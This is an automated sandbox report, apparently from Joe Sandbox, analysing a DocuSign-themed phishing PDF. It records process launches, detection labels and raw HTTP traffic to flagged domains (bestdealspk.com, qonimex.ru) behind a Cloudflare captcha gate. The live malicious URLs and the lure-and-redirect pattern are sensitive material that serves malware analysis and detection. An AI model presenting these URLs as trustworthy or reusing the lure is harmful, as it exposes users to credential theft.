[{"age":0,"body":{"elapsed_time":833,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://rwcq.qonimex.ru/Q7boMM5R/","sampling_fraction":1.0,"server_ip":"104.21.72.174","status_code":404,"type":"http.error"},"type":"network-error
2024-11-26 05:41:00 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 26 Nov 2024 05:40:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	00:39:10
Start date:	26/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Finish_Agreement_DocuSign.pdf"
Imagebase:	0x7ff7f5e50000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:39:11
Start date:	26/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70be40000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	00:39:12
Start date:	26/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1560,i,2596497607149263573,6260149099087267134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70be40000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	00:39:33
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://uotdoc.bestdealspk.com/
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	00:39:34
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2024,i,3426599930490132392,5312236439182005026,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://uotdoc.bestdealspk.com/favicon.ico	Avira URL Cloud: Label: malware
Source: https://uotdoc.bestdealspk.com/)	Avira URL Cloud: Label: malware
Source: https://uotdoc.bestdealspk.com/main.js	Avira URL Cloud: Label: malware

Source: PDF document	Joe Sandbox AI: Page contains button: 'View this Document' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'view this document'

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://uotdoc.bestdealspk.com
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://uotdoc.bestdealspk.com

Source: https://uotdoc.bestdealspk.com/	HTTP Parser: No favicon
Source: https://uotdoc.bestdealspk.com/	HTTP Parser: No favicon
Source: https://rwcq.qonimex.ru/Q7boMM5R/	HTTP Parser: No favicon
Source: https://rwcq.qonimex.ru/Q7boMM5R/	HTTP Parser: No favicon
Source: https://rwcq.qonimex.ru/Q7boMM5R/	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 65.21.29.43 65.21.29.43
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.6
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CB9LVFyUkzz298c&MD=CatG+hex HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: uotdoc.bestdealspk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main.js HTTP/1.1Host: uotdoc.bestdealspk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main.js HTTP/1.1Host: uotdoc.bestdealspk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/e4025c85ea63/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/e4025c85ea63/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878a247c655e79&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: uotdoc.bestdealspk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CB9LVFyUkzz298c&MD=CatG+hex HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: uotdoc.bestdealspk.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878b3d8eb043b2&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878b3d8eb043b2&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8e878b3d8eb043b2/1732599632814/c398450831134e10a8935027b58a951c4b17739b90bb1bc8cc9150b849cae471/lkbPnOARd4QdNnO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Q7boMM5R/ HTTP/1.1Host: rwcq.qonimex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://uotdoc.bestdealspk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rwcq.qonimex.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rwcq.qonimex.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
